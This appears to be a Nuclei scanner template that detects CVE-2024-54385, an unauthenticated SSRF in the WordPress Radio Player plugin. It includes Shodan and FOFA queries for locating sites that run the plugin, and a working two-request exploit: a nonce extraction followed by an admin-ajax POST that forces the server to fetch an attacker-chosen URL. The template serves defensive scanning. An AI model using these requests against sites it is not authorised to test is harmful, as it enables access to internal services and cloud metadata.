Radio Player <= 2.0.82 - Server-Side Request Forgery

id: CVE-2024-54385

info:
  name: Radio Player <= 2.0.82 - Server-Side Request Forgery
  author: s4e-io
  severity: high
  description: |
    The Radio Player Live Shoutcast, Icecast and Any Audio Stream Player for WordPress plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 2.0.82. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application which can be used to query and modify information from internal services.
  impact: |
    Unauthenticated attackers can perform server-side request forgery to query and modify internal services, potentially accessing sensitive data from internal networks or cloud metadata services.
  remediation: |
    Update Radio Player plugin to version 2.0.83 or later to address the SSRF vulnerability.
  reference:
    - https://patchstack.com/database/wordpress/plugin/radio-player/vulnerability/wordpress-radio-player-plugin-2-0-82-server-side-request-forgery-ssrf-vulnerability?_s_id=cve
    - https://github.com/RandomRobbieBF/CVE-2024-54385
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/radio-player/radio-player-2082-unauthenticated-server-side-request-forgery
    - https://nvd.nist.gov/vuln/detail/CVE-2024-54385
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2024-54385
    cwe-id: CWE-918
    epss-score: 0.05112
    epss-percentile: 0.91355
  metadata:
    verified: true
    max-request: 2
    vendor: softLab
    product: radio-player
    framework: wordpress
    shodan-query: http.html:"/wp-content/plugins/radio-player"
    fofa-query: body="/wp-content/plugins/radio-player"
  tags: cve,cve2024,wordpress,wp,wp-plugin,radio-player,ssrf,vuln

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "/wp-content/plugins/radio-player")'
          - 'status_code == 200'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: body
        internal: true
        name: nonce
        group: 1
        regex:
          - '"nonce":"([a-z0-9]+)",\s*"isPro"'

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=radio_player_get_stream_data&nonce={{nonce}}&utm_source=&url=http://{{interactsh-url}}/live.m3u8

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "http")'
          - 'contains(body, "success\":true")'
          - 'contains(content_type, "application/json")'
          - 'status_code == 200'
        condition: and
# digest: 490a0046304402203cb664fa8fbf0fd8afa9c958689b533fde6a3f8175d9efb42443ba08f856061b022013fffea8c097d2bf5162402bb84a9bb4d7c3e81c089731656598e138bc31f994:922c64590222798bb761d5b6d8e72950